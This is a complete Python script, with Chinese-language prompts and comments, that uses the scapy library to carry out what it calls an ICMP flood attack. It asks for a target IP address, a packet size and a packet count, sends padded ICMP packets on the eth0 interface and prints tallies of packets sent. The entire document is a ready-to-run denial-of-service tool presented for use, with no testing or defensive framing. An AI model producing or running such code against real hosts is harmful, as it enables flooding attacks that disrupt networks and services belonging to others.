from scapy.all import *
import time

success_count = 0
failure_count = 0

def icmp_flood(target_ip, packet_size, num_packets):
    global success_count, failure_count
    packets = []
    for _ in range(num_packets):
        packet = IP(dst=target_ip)/ICMP()/"X"*packet_size
        packets.append(packet)
        try:
            send(packet, iface="eth0")
            success_count += 1
            print(f"成功发送 ICMP 请求至 IP: {target_ip} 字节: {packet_size}")
        except Exception as e:
            failure_count += 1

# 用户自定义选择
target_ip = input("请输入目标IP地址: ")
packet_size = int(input("请输入数据包大小（字节数）: "))
num_packets = int(input("请输入要发送的数据包数量: "))

# 执行 ICMP 洪水攻击
icmp_flood(target_ip, packet_size, num_packets)

total_packets = success_count + failure_count
print(f"攻击完成，总共发送了 {total_packets} 个数据包")
print(f"成功发送的数据包数量：{success_count}")
print(f"失败发送的数据包数量：{failure_count}")
print(f"成功发送数据包的百分比：{success_count / total_packets * 100:.2f}%")
print(f"发送的数据包数量：{num_packets}")
print()
print("按回车键继续...")
input()